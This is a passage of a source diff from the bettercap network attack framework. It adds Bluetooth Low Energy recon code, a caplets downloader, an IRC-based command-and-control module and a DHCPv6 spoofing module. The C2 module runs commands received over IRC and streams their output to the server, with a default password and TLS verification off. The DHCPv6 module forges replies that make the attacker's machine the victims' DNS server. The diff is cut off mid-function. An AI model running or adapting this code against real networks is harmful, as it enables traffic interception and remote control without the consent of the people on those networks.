+	if (mask & gatt.CharExtended) != 0 {
+		props = append(props, "X")
+	}
+
+	return
+}
+
+func parseRawData(raw []byte) string {
+	s := ""
+	for _, b := range raw {
+		if strconv.IsPrint(rune(b)) {
+			s += tui.Yellow(string(b))
+		} else {
+			s += tui.Dim(fmt.Sprintf("%02x", b))
+		}
+	}
+	return s
+}
+
+// org.bluetooth.characteristic.gap.appearance
+func parseAppearance(raw []byte) string {
+	app := binary.LittleEndian.Uint16(raw[0:2])
+	if appName, found := appearances[app]; found {
+		return tui.Green(appName)
+	}
+	return fmt.Sprintf("0x%x", app)
+}
+
+// org.bluetooth.characteristic.pnp_id
+func parsePNPID(raw []byte) []string {
+	vendorIdSrc := byte(raw[0])
+	vendorId := binary.LittleEndian.Uint16(raw[1:3])
+	prodId := binary.LittleEndian.Uint16(raw[3:5])
+	prodVer := binary.LittleEndian.Uint16(raw[5:7])
+
+	src := ""
+	if vendorIdSrc == 1 {
+		src = " (Bluetooth SIG assigned Company Identifier)"
+	} else if vendorIdSrc == 2 {
+		src = " (USB Implementer’s Forum assigned Vendor ID value)"
+	}
+
+	return []string{
+		tui.Green("Vendor ID") + fmt.Sprintf(": 0x%04x%s", vendorId, tui.Dim(src)),
+		tui.Green("Product ID") + fmt.Sprintf(": 0x%04x", prodId),
+		tui.Green("Product Version") + fmt.Sprintf(": 0x%04x", prodVer),
+	}
+}
+
+// org.bluetooth.characteristic.gap.peripheral_preferred_connection_parameters
+func parseConnectionParams(raw []byte) []string {
+	minConInt := binary.LittleEndian.Uint16(raw[0:2])
+	maxConInt := binary.LittleEndian.Uint16(raw[2:4])
+	slaveLat := binary.LittleEndian.Uint16(raw[4:6])
+	conTimeMul := binary.LittleEndian.Uint16(raw[6:8])
+
+	return []string{
+		tui.Green("Connection Interval") + fmt.Sprintf(": %d -> %d", minConInt, maxConInt),
+		tui.Green("Slave Latency") + fmt.Sprintf(": %d", slaveLat),
+		tui.Green("Connection Supervision Timeout Multiplier") + fmt.Sprintf(": %d", conTimeMul),
+	}
+}
+
+// org.bluetooth.characteristic.gap.peripheral_privacy_flag
+func parsePrivacyFlag(raw []byte) string {
+	if raw[0] == 0x0 {
+		return tui.Green("Privacy Disabled")
+	}
+	return tui.Red("Privacy Enabled")
+}
+
+func (mod *BLERecon) showServices(p gatt.Peripheral, services []*gatt.Service) {
+	columns := []string{"Handles", "Service > Characteristics", "Properties", "Data"}
+	rows := make([][]string, 0)
+
+	wantsToWrite := mod.writeUUID != nil
+	foundToWrite := false
+
+	mod.currDevice.Services = make([]network.BLEService, 0)
+
+	for _, svc := range services {
+		service := network.BLEService{
+			UUID:            svc.UUID().String(),
+			Name:            svc.Name(),
+			Handle:          svc.Handle(),
+			EndHandle:       svc.EndHandle(),
+			Characteristics: make([]network.BLECharacteristic, 0),
+		}
+
+		mod.Session.Events.Add("ble.device.service.discovered", svc)
+
+		name := svc.Name()
+		if name == "" {
+			name = svc.UUID().String()
+		} else {
+			name = fmt.Sprintf("%s (%s)", tui.Green(name), tui.Dim(svc.UUID().String()))
+		}
+
+		row := []string{
+			fmt.Sprintf("%04x -> %04x", svc.Handle(), svc.EndHandle()),
+			name,
+			"",
+			"",
+		}
+
+		rows = append(rows, row)
+
+		chars, err := p.DiscoverCharacteristics(nil, svc)
+		if err != nil {
+			mod.Error("error while enumerating chars for service %s: %s", svc.UUID(), err)
+		} else {
+			for _, ch := range chars {
+				props, isReadable, isWritable, withResponse := parseProperties(ch)
+
+				char := network.BLECharacteristic{
+					UUID:       ch.UUID().String(),
+					Name:       ch.Name(),
+					Handle:     ch.VHandle(),
+					Properties: props,
+				}
+
+				mod.Session.Events.Add("ble.device.characteristic.discovered", ch)
+
+				name = ch.Name()
+				if name == "" {
+					name = "    " + ch.UUID().String()
+				} else {
+					name = fmt.Sprintf("    %s (%s)", tui.Green(name), tui.Dim(ch.UUID().String()))
+				}
+
+				if wantsToWrite && mod.writeUUID.Equal(ch.UUID()) {
+					foundToWrite = true
+					if isWritable {
+						mod.Debug("writing %d bytes to characteristics %s ...", len(mod.writeData), mod.writeUUID)
+					} else {
+						mod.Warning("attempt to write %d bytes to non writable characteristics %s ...", len(mod.writeData), mod.writeUUID)
+					}
+
+					if err := p.WriteCharacteristic(ch, mod.writeData, !withResponse); err != nil {
+						mod.Error("error while writing: %s", err)
+					}
+				}
+
+				sz := 0
+				raw := ([]byte)(nil)
+				err := error(nil)
+				if isReadable {
+					if raw, err = p.ReadCharacteristic(ch); raw != nil {
+						sz = len(raw)
+					}
+				}
+
+				data := ""
+				multi := ([]string)(nil)
+				if err != nil {
+					data = tui.Red(err.Error())
+				} else if ch.Name() == "Appearance" && sz >= 2 {
+					data = parseAppearance(raw)
+				} else if ch.Name() == "PnP ID" && sz >= 7 {
+					multi = parsePNPID(raw)
+				} else if ch.Name() == "Peripheral Preferred Connection Parameters" && sz >= 8 {
+					multi = parseConnectionParams(raw)
+				} else if ch.Name() == "Peripheral Privacy Flag" && sz >= 1 {
+					data = parsePrivacyFlag(raw)
+				} else {
+					data = parseRawData(raw)
+				}
+
+				if ch.Name() == "Device Name" && data != "" && mod.currDevice.DeviceName == "" {
+					mod.currDevice.DeviceName = data
+				}
+
+				if multi == nil {
+					char.Data = data
+					rows = append(rows, []string{
+						fmt.Sprintf("%04x", ch.VHandle()),
+						name,
+						strings.Join(props, ", "),
+						data,
+					})
+				} else {
+					char.Data = multi
+					for i, m := range multi {
+						if i == 0 {
+							rows = append(rows, []string{
+								fmt.Sprintf("%04x", ch.VHandle()),
+								name,
+								strings.Join(props, ", "),
+								m,
+							})
+						} else {
+							rows = append(rows, []string{"", "", "", m})
+						}
+					}
+				}
+
+				service.Characteristics = append(service.Characteristics, char)
+			}
+			// blank row after every service, bleah style
+			rows = append(rows, []string{"", "", "", ""})
+		}
+
+		mod.currDevice.Services = append(mod.currDevice.Services, service)
+	}
+
+	if wantsToWrite && !foundToWrite {
+		mod.Error("writable characteristics %s not found.", mod.writeUUID)
+	} else {
+		tui.Table(mod.Session.Events.Stdout, columns, rows)
+		mod.Session.Refresh()
+	}
+}

+ 32 - 0
bettercap/modules/ble/ble_show_sort.go

@@ -0,0 +1,32 @@
+// +build !windows
+
+package ble
+
+import (
+	"github.com/bettercap/bettercap/network"
+)
+
+type ByBLERSSISorter []*network.BLEDevice
+
+func (a ByBLERSSISorter) Len() int      { return len(a) }
+func (a ByBLERSSISorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
+func (a ByBLERSSISorter) Less(i, j int) bool {
+	if a[i].RSSI == a[j].RSSI {
+		return a[i].Device.ID() < a[j].Device.ID()
+	}
+	return a[i].RSSI > a[j].RSSI
+}
+
+type ByBLEMacSorter []*network.BLEDevice
+
+func (a ByBLEMacSorter) Len() int      { return len(a) }
+func (a ByBLEMacSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
+func (a ByBLEMacSorter) Less(i, j int) bool {
+	return a[i].Device.ID() < a[j].Device.ID()
+}
+
+type ByBLESeenSorter []*network.BLEDevice
+
+func (a ByBLESeenSorter) Len() int           { return len(a) }
+func (a ByBLESeenSorter) Swap(i, j int)      { a[i], a[j] = a[j], a[i] }
+func (a ByBLESeenSorter) Less(i, j int) bool { return a[i].LastSeen.Before(a[j].LastSeen) }

+ 55 - 0
bettercap/modules/ble/ble_unsupported.go

@@ -0,0 +1,55 @@
+// +build windows
+
+package ble
+
+import (
+	"github.com/bettercap/bettercap/session"
+)
+
+type BLERecon struct {
+	session.SessionModule
+}
+
+func NewBLERecon(s *session.Session) *BLERecon {
+	mod := &BLERecon{
+		SessionModule: session.NewSessionModule("ble.recon", s),
+	}
+
+	mod.AddHandler(session.NewModuleHandler("ble.recon on", "",
+		"Start Bluetooth Low Energy devices discovery.",
+		func(args []string) error {
+			return session.ErrNotSupported
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("ble.recon off", "",
+		"Stop Bluetooth Low Energy devices discovery.",
+		func(args []string) error {
+			return session.ErrNotSupported
+		}))
+
+	return mod
+}
+
+func (mod BLERecon) Name() string {
+	return "ble.recon"
+}
+
+func (mod BLERecon) Description() string {
+	return "Bluetooth Low Energy devices discovery."
+}
+
+func (mod BLERecon) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *BLERecon) Configure() (err error) {
+	return session.ErrNotSupported
+}
+
+func (mod *BLERecon) Start() error {
+	return session.ErrNotSupported
+}
+
+func (mod *BLERecon) Stop() error {
+	return session.ErrNotSupported
+}

+ 385 - 0
bettercap/modules/c2/c2.go

@@ -0,0 +1,385 @@
+package c2
+
+import (
+	"bytes"
+	"crypto/tls"
+	"fmt"
+	"github.com/acarl005/stripansi"
+	"github.com/bettercap/bettercap/modules/events_stream"
+	"github.com/bettercap/bettercap/session"
+	"github.com/evilsocket/islazy/log"
+	"github.com/evilsocket/islazy/str"
+	irc "github.com/thoj/go-ircevent"
+	"strings"
+	"text/template"
+)
+
+type settings struct {
+	server         string
+	tls            bool
+	tlsVerify      bool
+	nick           string
+	user           string
+	password       string
+	saslUser       string
+	saslPassword   string
+	operator       string
+	controlChannel string
+	eventsChannel  string
+	outputChannel  string
+}
+
+type C2 struct {
+	session.SessionModule
+
+	settings  settings
+	stream    *events_stream.EventsStream
+	templates map[string]*template.Template
+	channels  map[string]string
+	client    *irc.Connection
+	eventBus  session.EventBus
+	quit      chan bool
+}
+
+type eventContext struct {
+	Session *session.Session
+	Event   session.Event
+}
+
+func NewC2(s *session.Session) *C2 {
+	mod := &C2{
+		SessionModule: session.NewSessionModule("c2", s),
+		stream:        events_stream.NewEventsStream(s),
+		templates:     make(map[string]*template.Template),
+		channels:      make(map[string]string),
+		quit:          make(chan bool),
+		settings: settings{
+			server:         "localhost:6697",
+			tls:            true,
+			tlsVerify:      false,
+			nick:           "bettercap",
+			user:           "bettercap",
+			password:       "password",
+			operator:       "admin",
+			eventsChannel:  "#events",
+			outputChannel:  "#events",
+			controlChannel: "#events",
+		},
+	}
+
+	mod.AddParam(session.NewStringParameter("c2.server",
+		mod.settings.server,
+		"",
+		"IRC server address and port."))
+
+	mod.AddParam(session.NewBoolParameter("c2.server.tls",
+		"true",
+		"Enable TLS."))
+
+	mod.AddParam(session.NewBoolParameter("c2.server.tls.verify",
+		"false",
+		"Enable TLS certificate validation."))
+
+	mod.AddParam(session.NewStringParameter("c2.operator",
+		mod.settings.operator,
+		"",
+		"IRC nickname of the user allowed to run commands."))
+
+	mod.AddParam(session.NewStringParameter("c2.nick",
+		mod.settings.nick,
+		"",
+		"IRC nickname."))
+
+	mod.AddParam(session.NewStringParameter("c2.username",
+		mod.settings.user,
+		"",
+		"IRC username."))
+
+	mod.AddParam(session.NewStringParameter("c2.password",
+		mod.settings.password,
+		"",
+		"IRC server password."))
+
+	mod.AddParam(session.NewStringParameter("c2.sasl.username",
+		mod.settings.saslUser,
+		"",
+		"IRC SASL username."))
+
+	mod.AddParam(session.NewStringParameter("c2.sasl.password",
+		mod.settings.saslPassword,
+		"",
+		"IRC server SASL password."))
+
+	mod.AddParam(session.NewStringParameter("c2.channel.output",
+		mod.settings.outputChannel,
+		"",
+		"IRC channel to send commands output to."))
+
+	mod.AddParam(session.NewStringParameter("c2.channel.events",
+		mod.settings.eventsChannel,
+		"",
+		"IRC channel to send events to."))
+
+	mod.AddParam(session.NewStringParameter("c2.channel.control",
+		mod.settings.controlChannel,
+		"",
+		"IRC channel to receive commands from."))
+
+	mod.AddHandler(session.NewModuleHandler("c2 on", "",
+		"Start the C2 module.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("c2 off", "",
+		"Stop the C2 module.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("c2.channel.set EVENT_TYPE CHANNEL",
+		"c2.channel.set ([^\\s]+) (.+)",
+		"Set a specific channel to report events of this type.",
+		func(args []string) error {
+			eventType := args[0]
+			channel := args[1]
+
+			mod.Debug("setting channel for event %s: %v", eventType, channel)
+			mod.channels[eventType] = channel
+			return nil
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("c2.channel.clear EVENT_TYPE",
+		"c2.channel.clear ([^\\s]+)",
+		"Clear the channel to use for a specific event type.",
+		func(args []string) error {
+			eventType := args[0]
+			if _, found := mod.channels[args[0]]; found {
+				delete(mod.channels, eventType)
+				mod.Debug("cleared channel for %s", eventType)
+			} else {
+				return fmt.Errorf("channel for event %s not set", args[0])
+			}
+			return nil
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("c2.template.set EVENT_TYPE TEMPLATE",
+		"c2.template.set ([^\\s]+) (.+)",
+		"Set the reporting template to use for a specific event type.",
+		func(args []string) error {
+			eventType := args[0]
+			eventTemplate := args[1]
+
+			parsed, err := template.New(eventType).Parse(eventTemplate)
+			if err != nil {
+				return err
+			}
+
+			mod.Debug("setting template for event %s: %v", eventType, parsed)
+			mod.templates[eventType] = parsed
+			return nil
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("c2.template.clear EVENT_TYPE",
+		"c2.template.clear ([^\\s]+)",
+		"Clear the reporting template to use for a specific event type.",
+		func(args []string) error {
+			eventType := args[0]
+			if _, found := mod.templates[args[0]]; found {
+				delete(mod.templates, eventType)
+				mod.Debug("cleared template for %s", eventType)
+			} else {
+				return fmt.Errorf("template for event %s not set", args[0])
+			}
+			return nil
+		}))
+
+	mod.Session.Events.OnPrint(mod.onPrint)
+
+	return mod
+}
+
+func (mod *C2) Name() string {
+	return "c2"
+}
+
+func (mod *C2) Description() string {
+	return "A CnC module that connects to an IRC server for reporting and commands."
+}
+
+func (mod *C2) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *C2) Configure() (err error) {
+	if mod.Running() {
+		return session.ErrAlreadyStarted(mod.Name())
+	}
+
+	if err, mod.settings.server = mod.StringParam("c2.server"); err != nil {
+		return err
+	} else if err, mod.settings.tls = mod.BoolParam("c2.server.tls"); err != nil {
+		return err
+	} else if err, mod.settings.tlsVerify = mod.BoolParam("c2.server.tls.verify"); err != nil {
+		return err
+	} else if err, mod.settings.nick = mod.StringParam("c2.nick"); err != nil {
+		return err
+	} else if err, mod.settings.user = mod.StringParam("c2.username"); err != nil {
+		return err
+	} else if err, mod.settings.password = mod.StringParam("c2.password"); err != nil {
+		return err
+	} else if err, mod.settings.saslUser = mod.StringParam("c2.sasl.username"); err != nil {
+		return err
+	} else if err, mod.settings.saslPassword = mod.StringParam("c2.sasl.password"); err != nil {
+		return err
+	} else if err, mod.settings.operator = mod.StringParam("c2.operator"); err != nil {
+		return err
+	} else if err, mod.settings.eventsChannel = mod.StringParam("c2.channel.events"); err != nil {
+		return err
+	} else if err, mod.settings.controlChannel = mod.StringParam("c2.channel.control"); err != nil {
+		return err
+	} else if err, mod.settings.outputChannel = mod.StringParam("c2.channel.output"); err != nil {
+		return err
+	}
+
+	mod.eventBus = mod.Session.Events.Listen()
+
+	mod.client = irc.IRC(mod.settings.nick, mod.settings.user)
+
+	if log.Level == log.DEBUG {
+		mod.client.VerboseCallbackHandler = true
+		mod.client.Debug = true
+	}
+
+	mod.client.Password = mod.settings.password
+	mod.client.UseTLS = mod.settings.tls
+	mod.client.TLSConfig = &tls.Config{
+		InsecureSkipVerify: !mod.settings.tlsVerify,
+	}
+
+	if mod.settings.saslUser != "" || mod.settings.saslPassword != "" {
+		mod.client.SASLLogin = mod.settings.saslUser
+		mod.client.SASLPassword = mod.settings.saslPassword
+		mod.client.UseSASL = true
+	}
+
+	mod.client.AddCallback("PRIVMSG", func(event *irc.Event) {
+		channel := event.Arguments[0]
+		message := event.Message()
+		from := event.Nick
+
+		if from != mod.settings.operator {
+			mod.client.Privmsg(event.Nick, "nope")
+			return
+		}
+
+		if channel != mod.settings.controlChannel && channel != mod.settings.nick {
+			mod.Debug("from:%s on:%s - '%s'", from, channel, message)
+			return
+		}
+
+		mod.Debug("from:%s on:%s - '%s'", from, channel, message)
+
+		parts := strings.SplitN(message, " ", 2)
+		cmd := parts[0]
+		args := ""
+		if len(parts) > 1 {
+			args = parts[1]
+		}
+
+		if cmd == "join" {
+			mod.client.Join(args)
+		} else if cmd == "part" {
+			mod.client.Part(args)
+		} else if cmd == "nick" {
+			mod.client.Nick(args)
+		} else if err = mod.Session.Run(message); err == nil {
+
+		} else {
+			mod.client.Privmsgf(event.Nick, "error: %v", stripansi.Strip(err.Error()))
+		}
+	})
+
+	mod.client.AddCallback("001", func(e *irc.Event) {
+		mod.Debug("got 101")
+		mod.client.Join(mod.settings.controlChannel)
+		mod.client.Join(mod.settings.outputChannel)
+		mod.client.Join(mod.settings.eventsChannel)
+	})
+
+	return mod.client.Connect(mod.settings.server)
+}
+
+func (mod *C2) onPrint(format string, args ...interface{}) {
+	if !mod.Running() {
+		return
+	}
+
+	msg := stripansi.Strip(str.Trim(fmt.Sprintf(format, args...)))
+
+	for _, line := range strings.Split(msg, "\n") {
+		mod.client.Privmsg(mod.settings.outputChannel, line)
+	}
+}
+
+func (mod *C2) onEvent(e session.Event) {
+	if mod.Session.EventsIgnoreList.Ignored(e) {
+		return
+	}
+
+	// default channel or event specific channel?
+	channel := mod.settings.eventsChannel
+	if custom, found := mod.channels[e.Tag]; found {
+		channel = custom
+	}
+
+	var out bytes.Buffer
+	if tpl, found := mod.templates[e.Tag]; found {
+		// use a custom template to render this event
+		if err := tpl.Execute(&out, eventContext{
+			Session: mod.Session,
+			Event:   e,
+		}); err != nil {
+			fmt.Fprintf(&out, "%v", err)
+		}
+	} else {
+		// use the default view to render this event
+		mod.stream.Render(&out, e)
+	}
+
+	// make sure colors and in general bash escape sequences are removed
+	msg := stripansi.Strip(str.Trim(string(out.Bytes())))
+
+	mod.client.Privmsg(channel, msg)
+}
+
+func (mod *C2) Start() error {
+	if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	return mod.SetRunning(true, func() {
+		mod.Info("started")
+
+		for mod.Running() {
+			var e session.Event
+			select {
+			case e = <-mod.eventBus:
+				mod.onEvent(e)
+
+			case <-mod.quit:
+				mod.Debug("got quit")
+				return
+			}
+		}
+	})
+}
+
+func (mod *C2) Stop() error {
+	return mod.SetRunning(false, func() {
+		mod.quit <- true
+		mod.Session.Events.Unlisten(mod.eventBus)
+		mod.client.Quit()
+		mod.client.Disconnect()
+	})
+}

+ 150 - 0
bettercap/modules/caplets/caplets.go

@@ -0,0 +1,150 @@
+package caplets
+
+import (
+	"fmt"
+	"io"
+	"net/http"
+	"os"
+
+	"github.com/bettercap/bettercap/caplets"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/dustin/go-humanize"
+
+	"github.com/evilsocket/islazy/fs"
+	"github.com/evilsocket/islazy/tui"
+	"github.com/evilsocket/islazy/zip"
+)
+
+type CapletsModule struct {
+	session.SessionModule
+}
+
+func NewCapletsModule(s *session.Session) *CapletsModule {
+	mod := &CapletsModule{
+		SessionModule: session.NewSessionModule("caplets", s),
+	}
+
+	mod.AddHandler(session.NewModuleHandler("caplets.show", "",
+		"Show a list of installed caplets.",
+		func(args []string) error {
+			return mod.Show()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("caplets.paths", "",
+		"Show a list caplet search paths.",
+		func(args []string) error {
+			return mod.Paths()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("caplets.update", "",
+		"Install/updates the caplets.",
+		func(args []string) error {
+			return mod.Update()
+		}))
+
+	return mod
+}
+
+func (mod *CapletsModule) Name() string {
+	return "caplets"
+}
+
+func (mod *CapletsModule) Description() string {
+	return "A module to list and update caplets."
+}
+
+func (mod *CapletsModule) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *CapletsModule) Configure() error {
+	return nil
+}
+
+func (mod *CapletsModule) Stop() error {
+	return nil
+}
+
+func (mod *CapletsModule) Start() error {
+	return nil
+}
+
+func (mod *CapletsModule) Show() error {
+	caplets := caplets.List()
+	if len(caplets) == 0 {
+		return fmt.Errorf("no installed caplets on this system, use the caplets.update command to download them")
+	}
+
+	colNames := []string{
+		"Name",
+		"Path",
+		"Size",
+	}
+	rows := [][]string{}
+
+	for _, caplet := range caplets {
+		rows = append(rows, []string{
+			tui.Bold(caplet.Name),
+			caplet.Path,
+			tui.Dim(humanize.Bytes(uint64(caplet.Size))),
+		})
+	}
+
+	tui.Table(mod.Session.Events.Stdout, colNames, rows)
+
+	return nil
+}
+
+func (mod *CapletsModule) Paths() error {
+	colNames := []string{
+		"Path",
+	}
+	rows := [][]string{}
+
+	for _, path := range caplets.LoadPaths {
+		rows = append(rows, []string{path})
+	}
+
+	tui.Table(mod.Session.Events.Stdout, colNames, rows)
+	mod.Printf("(paths can be customized by defining the %s environment variable)\n", tui.Bold(caplets.EnvVarName))
+
+	return nil
+}
+
+func (mod *CapletsModule) Update() error {
+	if !fs.Exists(caplets.InstallBase) {
+		mod.Info("creating caplets install path %s ...", caplets.InstallBase)
+		if err := os.MkdirAll(caplets.InstallBase, os.ModePerm); err != nil {
+			return err
+		}
+	}
+
+	out, err := os.Create(caplets.ArchivePath)
+	if err != nil {
+		return err
+	}
+	defer out.Close()
+
+	mod.Info("downloading caplets from %s ...", caplets.InstallArchive)
+
+	resp, err := http.Get(caplets.InstallArchive)
+	if err != nil {
+		return err
+	}
+	defer resp.Body.Close()
+
+	if _, err := io.Copy(out, resp.Body); err != nil {
+		return err
+	}
+
+	mod.Info("installing caplets to %s ...", caplets.InstallPath)
+
+	if _, err = zip.Unzip(caplets.ArchivePath, caplets.InstallBase); err != nil {
+		return err
+	}
+
+	os.RemoveAll(caplets.InstallPath)
+
+	return os.Rename(caplets.InstallPathArchive, caplets.InstallPath)
+}

+ 389 - 0
bettercap/modules/dhcp6_spoof/dhcp6_spoof.go

@@ -0,0 +1,389 @@
+package dhcp6_spoof
+
+import (
+	"bytes"
+	"crypto/rand"
+	"fmt"
+	"net"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/packets"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/google/gopacket"
+	"github.com/google/gopacket/layers"
+	"github.com/google/gopacket/pcap"
+
+	// TODO: refactor to use gopacket when gopacket folks
+	// will fix this > https://github.com/google/gopacket/issues/334
+	"github.com/mdlayher/dhcp6"
+	"github.com/mdlayher/dhcp6/dhcp6opts"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+type DHCP6Spoofer struct {
+	session.SessionModule
+	Handle        *pcap.Handle
+	DUID          *dhcp6opts.DUIDLLT
+	DUIDRaw       []byte
+	Domains       []string
+	RawDomains    []byte
+	waitGroup     *sync.WaitGroup
+	pktSourceChan chan gopacket.Packet
+}
+
+func NewDHCP6Spoofer(s *session.Session) *DHCP6Spoofer {
+	mod := &DHCP6Spoofer{
+		SessionModule: session.NewSessionModule("dhcp6.spoof", s),
+		Handle:        nil,
+		waitGroup:     &sync.WaitGroup{},
+	}
+
+	mod.SessionModule.Requires("net.recon")
+
+	mod.AddParam(session.NewStringParameter("dhcp6.spoof.domains",
+		"microsoft.com, google.com, facebook.com, apple.com, twitter.com",
+		``,
+		"Comma separated values of domain names to spoof."))
+
+	mod.AddHandler(session.NewModuleHandler("dhcp6.spoof on", "",
+		"Start the DHCPv6 spoofer in the background.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("dhcp6.spoof off", "",
+		"Stop the DHCPv6 spoofer in the background.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	return mod
+}
+
+func (mod DHCP6Spoofer) Name() string {
+	return "dhcp6.spoof"
+}
+
+func (mod DHCP6Spoofer) Description() string {
+	return "Replies to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server (https://github.com/fox-it/mitm6/)."
+}
+
+func (mod DHCP6Spoofer) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *DHCP6Spoofer) Configure() error {
+	var err error
+
+	if mod.Running() {
+		return session.ErrAlreadyStarted(mod.Name())
+	}
+
+	if mod.Handle, err = network.Capture(mod.Session.Interface.Name()); err != nil {
+		return err
+	}
+
+	err = mod.Handle.SetBPFFilter("ip6 and udp")
+	if err != nil {
+		return err
+	}
+
+	if err, mod.Domains = mod.ListParam("dhcp6.spoof.domains"); err != nil {
+		return err
+	}
+
+	mod.RawDomains = packets.DHCP6EncodeList(mod.Domains)
+
+	if mod.DUID, err = dhcp6opts.NewDUIDLLT(1, time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC), mod.Session.Interface.HW); err != nil {
+		return err
+	} else if mod.DUIDRaw, err = mod.DUID.MarshalBinary(); err != nil {
+		return err
+	}
+
+	if !mod.Session.Firewall.IsForwardingEnabled() {
+		mod.Info("Enabling forwarding.")
+		mod.Session.Firewall.EnableForwarding(true)
+	}
+
+	return nil
+}
+
+func (mod *DHCP6Spoofer) dhcp6For(what dhcp6.MessageType, to dhcp6.Packet) (err error, p dhcp6.Packet) {
+	err, p = packets.DHCP6For(what, to, mod.DUIDRaw)
+	if err != nil {
+		return
+	}
+
+	p.Options.AddRaw(packets.DHCP6OptDNSServers, mod.Session.Interface.IPv6)
+	p.Options.AddRaw(packets.DHCP6OptDNSDomains, mod.RawDomains)
+
+	return nil, p
+}
+
+func (mod *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, target net.HardwareAddr) {
+	pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
+
+	fqdn := target.String()
+	if raw, found := solicit.Options[packets.DHCP6OptClientFQDN]; found && len(raw) >= 1 {
+		fqdn = string(raw[0])
+	}
+
+	mod.Info("Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %d domains.", tui.Bold(fqdn), target, len(mod.Domains))
+
+	err, adv := mod.dhcp6For(dhcp6.MessageTypeAdvertise, solicit)
+	if err != nil {
+		mod.Error("%s", err)
+		return
+	}
+
+	var solIANA dhcp6opts.IANA
+
+	if raw, found := solicit.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 {
+		mod.Error("Unexpected DHCPv6 packet, could not find IANA.")
+		return
+	} else if err := solIANA.UnmarshalBinary(raw[0]); err != nil {
+		mod.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
+		return
+	}
+
+	var ip net.IP
+	if h, found := mod.Session.Lan.Get(target.String()); found {
+		ip = h.IP
+	} else {
+		mod.Warning("Address %s not known, using random identity association address.", target.String())
+		rand.Read(ip)
+	}
+
+	addr := fmt.Sprintf("%s%s", packets.IPv6Prefix, strings.Replace(ip.String(), ".", ":", -1))
+
+	iaaddr, err := dhcp6opts.NewIAAddr(net.ParseIP(addr), 300*time.Second, 300*time.Second, nil)
+	if err != nil {
+		mod.Error("Error creating IAAddr: %s", err)
+		return
+	}
+
+	iaaddrRaw, err := iaaddr.MarshalBinary()
+	if err != nil {
+		mod.Error("Error serializing IAAddr: %s", err)
+		return
+	}
+
+	opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{iaaddrRaw}}
+	iana := dhcp6opts.NewIANA(solIANA.IAID, 200*time.Second, 250*time.Second, opts)
+	ianaRaw, err := iana.MarshalBinary()
+	if err != nil {
+		mod.Error("Error serializing IANA: %s", err)
+		return
+	}
+
+	adv.Options.AddRaw(dhcp6.OptionIANA, ianaRaw)
+
+	rawAdv, err := adv.MarshalBinary()
+	if err != nil {
+		mod.Error("Error serializing advertisement packet: %s.", err)
+		return
+	}
+
+	eth := layers.Ethernet{
+		SrcMAC:       mod.Session.Interface.HW,
+		DstMAC:       target,
+		EthernetType: layers.EthernetTypeIPv6,
+	}
+
+	ip6 := layers.IPv6{
+		Version:    6,
+		NextHeader: layers.IPProtocolUDP,
+		HopLimit:   64,
+		SrcIP:      mod.Session.Interface.IPv6,
+		DstIP:      pip6.SrcIP,
+	}
+
+	udp := layers.UDP{
+		SrcPort: 547,
+		DstPort: 546,
+	}
+
+	udp.SetNetworkLayerForChecksum(&ip6)
+
+	dhcp := packets.DHCPv6Layer{
+		Raw: rawAdv,
+	}
+
+	err, raw := packets.Serialize(&eth, &ip6, &udp, &dhcp)
+	if err != nil {
+		mod.Error("Error serializing packet: %s.", err)
+		return
+	}
+
+	mod.Debug("Sending %d bytes of packet ...", len(raw))
+	if err := mod.Session.Queue.Send(raw); err != nil {
+		mod.Error("Error sending packet: %s", err)
+	}
+}
+
+func (mod *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.Packet, target net.HardwareAddr) {
+	mod.Debug("Sending spoofed DHCPv6 reply to %s after its %s packet.", tui.Bold(target.String()), toType)
+
+	err, reply := mod.dhcp6For(dhcp6.MessageTypeReply, req)
+	if err != nil {
+		mod.Error("%s", err)
+		return
+	}
+
+	var reqIANA dhcp6opts.IANA
+	if raw, found := req.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 {
+		mod.Error("Unexpected DHCPv6 packet, could not find IANA.")
+		return
+	} else if err := reqIANA.UnmarshalBinary(raw[0]); err != nil {
+		mod.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
+		return
+	}
+
+	var reqIAddr []byte
+	if raw, found := reqIANA.Options[dhcp6.OptionIAAddr]; found {
+		reqIAddr = raw[0]
+	} else {
+		mod.Error("Unexpected DHCPv6 packet, could not deserialize request IANA IAAddr.")
+		return
+	}
+
+	opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{reqIAddr}}
+	iana := dhcp6opts.NewIANA(reqIANA.IAID, 200*time.Second, 250*time.Second, opts)
+	ianaRaw, err := iana.MarshalBinary()
+	if err != nil {
+		mod.Error("Error serializing IANA: %s", err)
+		return
+	}
